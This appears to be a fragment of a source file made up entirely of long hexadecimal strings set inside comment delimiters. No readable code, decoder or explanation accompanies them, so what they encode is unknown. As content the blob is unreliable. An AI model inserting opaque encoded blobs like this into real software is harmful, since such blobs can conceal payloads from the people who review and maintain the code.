cacf7660fbcb27955fc265b8d07c34f501eea512fa80e7e37fae86eb6ce0eaa8bb0201b0234f42c9da48b7ceaf0568dc4ef9c6fbca507d1c5a738e9693ea20ee62cb471bb59daf41ede7b99fcfefa9858af0bd652abc5a012dff395d1539b696da85ece234070f9dd80a1354baaf89743c0018cf873a3af62cdca9b47cee47be8de94f7f47d026373b9e380839bb94d982acbb130f65a9a5be802e63f61c9f67ce69c8a6d6f67f350470f18a2e994499bfe34b69999a6d3146745087331ad07819d89f14c74ce1bdad96044e1e8f1fbf09150007e90cff425ff7aa74ea726de422d1658ac86cad0da3100c2166f7c1809fce147adf913d73906f4f1fc3d64d69b5c50026ce39fbcae9a054aad4732f6f7b9158ac0ad6d94deaf4ccd2eddb3dc9374aba85f149c10bb820e5a08e19f25e8331295a95ade9eeb145bcd9d205cd0a37ddd4eec818d9812034fbe3befcc78bbca945a132bbb6be5c2e2160220bb00e86d5c5d9af4c335572715781febab53ed3d4aefd080a2a2702b548e66b5a891f32f655ba97a134983dc60ec7bf4643d93a4e0a0ce5df2f4e5a838db5e083ab3c305755cb8844f97322c8c4ad95db64b53c09d814bb1605d5c408ed847f99a5002007e66c66c6964d4bc62e45a288b1eae11c967e8dcdde4300d18a009d3bd32befee568497349667de6011029d7b780bf65eb4da0356802a1ca16377a6ef7a02cde92fa5e0908d83a020c5496f8c411184a9c4bb27398152c13e052075b68d5920b708fb8f42e3e3bd53c255e32e98843c6d39edcb8be4a33633d7f6520b2a41184b35c7d6973827a7fffaf8836f354c35e5906065f2c5d333129e4bb930cd88ee03053d372a442b65567dc0f6efc5083a9238cc1c946e91a3ccab27de409dd3843084d87b132deb97618967c1ab2665c8b0416f7d1c7b2c4f3a4adea449989d8d09dabfbf5987047f2525e63b1da3af1c30b92e791a89a4b847528647a3fb30baba87906abcb30928bdb24e4d1f5260dfe001360f217a0b3ec2cb876dcf7cfe1985e6a2b25834e069512ab1ceb0d2d2698f2dd2a73077e0003dc9cfca8bbbc05da739ae8df8c33ea35143be82022e22cc3f1f87d40ad5bfa14cf56b7e221a2abc729da31e60afcc0b8fbfc73ec0b8148591505307a2682d06cf8f5dbec968ac722df755fa1d6e28022ef41277102a5041bfe283225518b01c93254601182ec3a86f1b50f39072eed9688ad32bd20772ef9d5cf9d4ed7c5d736d6cba38413c4421eb4e77b59f2f304fde7f06b6434d83926202ab3933b32c9e9805a3a5046ad14afd6b51b01a1fdfb3ce28b85a4a3b473ca8aeb50ca60c42ae7d47154bc7a371cb251678a3bf8d78a1ed0e88f40ccdf39da8f91bfe8a3322dca9d16cdacfa75d3149fa869ed4247d2ee566e19a3ebdcc3906b81bbf88ded1ddf78b93ca70e878099d60827df920e32c43c5d4aa638dcbe83c750fe49036d2aec8219d49ecd72ff2cd1878aa4b75a68732e9d29226487b9c2a3dd356cf2c1d4f31dce701950a04205106e440b05958e98069fcee42459ee862313c2b78518e25eeb3313ecba530da94eaeb7c880521a63e7e65a787604a39ddc4ca6d1671b950bfde34b09899c24fb8588ae08e5e5172f9a78edde47fe8914829f770564459252d36bb262f31b341f112967d8d68c321cd7773979143788fa7cbb92c3f075c22bc31d5732daa9e60d2766c804f8f98d4aac71a55c919780e3b95c5bcbdf892e97524fdbb4f8e94d2297ad0f9d31b54c347d6213d9584679304e40861373bcf90a4ddddca0d0e3e81edf87e42e8f1bdcda013b8a0640faf7c698d4c8dbc04a8bcff362b45065a7a5bc9de39d4e72c432877b8625786f56e825f50304372de52a35ce3760a72f82861f6bdf4882d9b35cf1285271abb66eb903*/
/*875dd691c2706aa530a8c46fc58dd438a98b1ef30ca0e6bc12a8bd63a3146f3b626677f7e1787c562106efe71b9c9456e19b056b9eb7bce86bc3c9823328d15ffd9f3be88cb07c98d1f579b56ee9dda21ef5a971727bca47ff75028feb9dd892f9b7a1694f21df1d106512f8eccbc7016193a9df419cef02cc7cc5ec686dabee9eabc54e489ee5cf7638aadb5a73edbcb988bb06930956aa68cfe04c019dfa2a096382e587e6f582c8084064c325f6714590c35b747b47d45017038873aa28efa6e861c09a89f093b2eea3cce3a1b61f52baaa8f70acd18abcd74ce0ac8b902a7e4ac64eb2a0ddba94090dac819392bb0bf19b6d07af3d9baa276c125c257478cf2d61b5503862b97cf7ffd7289b9cd831c1443129386f42e5d1c354e2c9bb34d21330716e14e3453045a3d98d467731eeb1f6f6fb1d88a795f1a9b82cfeedf9f6390baaaea5a27ae49276d6efa5d37ee33231fdc6049762f4c230765f1b340eb8b0891e663aa5931ce2ff5a9c5e1a1c8a93adfeda2781732941ab217798096d6edf01bdfaa5325a6a703401a225126a19b8444fb178e7abf68a1217579e637762c3bc5a02828ca149ccbcfa1fe76689f11d7d70e44f32868524c01e093dd7963df34f40e6bb6b4deed89c9a42e18cd8e1c1c521ea73bfd85c634b946c72382058dab76e7a1c3c27938d70b6216f5818c8c24293032cba674af7b3be6475ddc6327b0bb564d5d5929449a8b71d7d6ce4bc802f5cd871b393de9b5dd82f610fd165cf585799f511d15ecdaaba73257f561c6db449414ab6c872a6d08bf28babc34fe4247866eedc5ba728d0006b30a08fa6909a22d84958a76d4b3bc57743aaaad86e863c76dd4a5b60b3bd7236622adad730cdf79c77ceda39d96662ea112e377a87af4195a4c29fb04630702b740e7be109f1a95df3e736b44231cf9222fe5bdb334abaf7c1bde559b0043eebb5defab375403b028fe900cd5f54a5f6b886b14032cb66229031737083aca182ef53b534d7b13b95122c8c9158974bb959ad6969a15db6ed6e21e93308caabbfbd780d4de59012076012abe3e5cdb5264d0567009a6fbe45b505b355cd97e12b34c5741e89a51a4cb1ce9d2c7d1d68c289e8bd2e286abe964fa8558b453d475c41b68d1a0b78ebef8f0270f19428bfe0b59217510417ba0bae87fb79d78b2f36a3be42d04ed189a9b09807a71e9a58888bbccdfb96296a5995d23d51274af111025dd98aff3f07884cafb80d0946155ef4ad6df7a07002243e528657d0777670140e8ba91e11adce68fe8325511940d76bdf93e4ac98bf4547cd0e0d76785b8228a3a9bf3266643daa48c57f7294c495de11c6a9693aad0573fdd1cf38b6df64dda3b47cde63c25487a2f98da579f6f26e702ebab93d94fb2a4acc82ca16e783628d61808fa8db89c8b3752f851fea8851e377b3c0846c65aceb99efebabddfa955a69bcff2cbce860a11c3b2612155de64c779631ed01bd687860160155306d315d572399646c2c5a321851b7eb633c522c8800b77e12f6804671bc23fa44a10914bd13b2a6a7ea5e3b670d2b39c0a8ac5e316d845e6ed262f7efd1dcaead51dcf58c9e5bda74be4cfdc4b2273aeda377732af0e38c49e0028c439f752f5bfe4a8d0419409d332ad52ef5ae7c74010673f8e6dcbb933819facb962d058d58d58776eb97772f96e6eaa0f37f167bde912c36c65b5ded84d8bd68646ff9f5520129634de8d80f3d2c40e2bf062b2f96be1387c59c26bfcf7afbd1b5034ce9d86dfa23a1ced1312269aa1754a61c647e8dda26c31b4355bf61deaff1278624034679af032f814725035c1c466215ebd4b7cf45f1a4d92cfcda51084013af6e30568702e4b09106bb486ec622d5c1e78784f6a51942c4531b942e8a1037b422ac0d920e6d2801773360b1a750b60ceaed3abbd43e833ad939044a4a17a77f066acefda41ef3db76c564ba8354f1e8a732b29d6ad472f5fb358b023fb0cf06e90b744599cbe35a93819e5211821c862aa5ed3216ba83c98b88c72a99930fa20cb92ad8cec6be8eb5f12e8740200e9d312f84164979b98f449122f4fc2f1f999245801470d46be7ef18157be0d861a6e1dfdc55173d1dc59bfc2b2c63a7d07165ce2a0c23ac06ff653941fecce7a4a5b8453c5376ef3c567087b5f00f4ad3f0434efa4b7cc7a717a4009c42cb1c4cd1dca94fba5c512e41d8c87748c66e88a3bff104ac0200413d7376ebc6151f639687118c749fe65abf88b16abd7af9711f6b5390c5ee5d3aee5e4bba2bad6deac300f239f0ab3e70e42a167f2e6faa98e7ad79f2d63acdf7d9b742085d098309805fac7d8f704256ee395c3136a98875733fb6ac158fc0821fa7b0c68cbb307da7f3a3d485cafe7bb8ee00efa714befe3937b91b7f84f361400a6ee151b3db0e41ac7d9d3c4ae712530debf42081429eb5bee189027f5026fdabe98eb9b590ae73361c2dda28ff69936e35ea5dff3f46cc49affdbf39c951837970b8de1b5c55cdd73faa7641d26e21299b2e9fd27c52deb76901ece609e1d4c5a6ec27e1d39c5dfa50f0198261c572707ba89ff820e43503c7df6f3e2a9f3fc7ffbf794c22b74278571af9dcee0b0b5586d14446b57c65bce70a624948dd8e3801523232e05a9a30ee32f51f592dd1be99431b8f9e792460cd30084751096f742904a37dcc1c88f7dc198bbe78f83376c46fea9cdbb2be06f38cbe252d306f018af519c041a2ad1428cc70303ea341a2c388d3ef6e583cf8c4bbc37f45236afaf9b6af932cd8d3e463ed7c7dbd33781757dfe3a26054e5dd01b4cbddef*/